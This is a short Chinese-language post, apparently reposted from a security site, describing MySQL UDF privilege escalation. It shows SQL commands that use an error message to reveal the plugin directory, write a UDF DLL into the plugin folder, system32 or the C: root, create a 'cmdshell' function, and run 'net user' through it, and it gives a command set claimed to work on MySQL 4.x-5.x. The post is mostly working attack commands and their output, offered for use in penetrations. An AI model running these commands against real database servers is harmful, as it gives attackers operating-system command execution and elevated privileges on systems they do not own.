mysql提權 udf方法更新
 
 
文章錄入：7747.Net    責任編輯：7747.Net  更新時間：2011-1-21 10:38:18 39 
 【字體：小 大】
 
heimian

最近滲透時要用mysql udf，發(fā)現(xiàn)導出system32下的方法注冊不了DLL，原來一些mysql新版變到插件目錄了。

mysql> select @@version;
+———–+
| @@version |
+———–+
| 5.1.41 |
+———–+
1 row in set (0.00 sec)

mysql> select data from shell into DUMPFILE ‘.\\lib\\plugin\\UDF.DLL’;
 

ERROR 1 (HY000): Can’t create/write to file ‘\Program Files\xampp\mysql\data\lib\plugin\UDF.DLL’ (Errcode: 2)
mysql>

用這方法暴出了插件的安裝目錄.下面是通用的導出方法：

mysql> select data from shell into DUMPFILE ‘..\\lib\\plugin\\UDF.DLL’;
Query OK, 1 row affected (0.00 sec)
………………
mysql> select cmdshell(‘cmd.exe /c net user’);
 

\\ 的用戶帳戶

——————————————————————————-

__vmware_user__ Administrator ASPNET
Guest HelpAssistant SUPPORT_388945a0
把你的mysqludf改為：
select data from shell into DUMPFILE ‘..\\lib\\plugin\\UDF.DLL’;
select data from shell into DUMPFILE ‘c:\\windows\\system32\\UDF.DLL’;
select data from shell into DUMPFILE ‘c:\\UDF.DLL’; //某些版本只能在C盤根目錄
Create Function cmdshell returns string soname ‘UDF.DLL’;
這樣就比較通用了，對4.x-5.x都有效
關健詞：MYSQL，UDF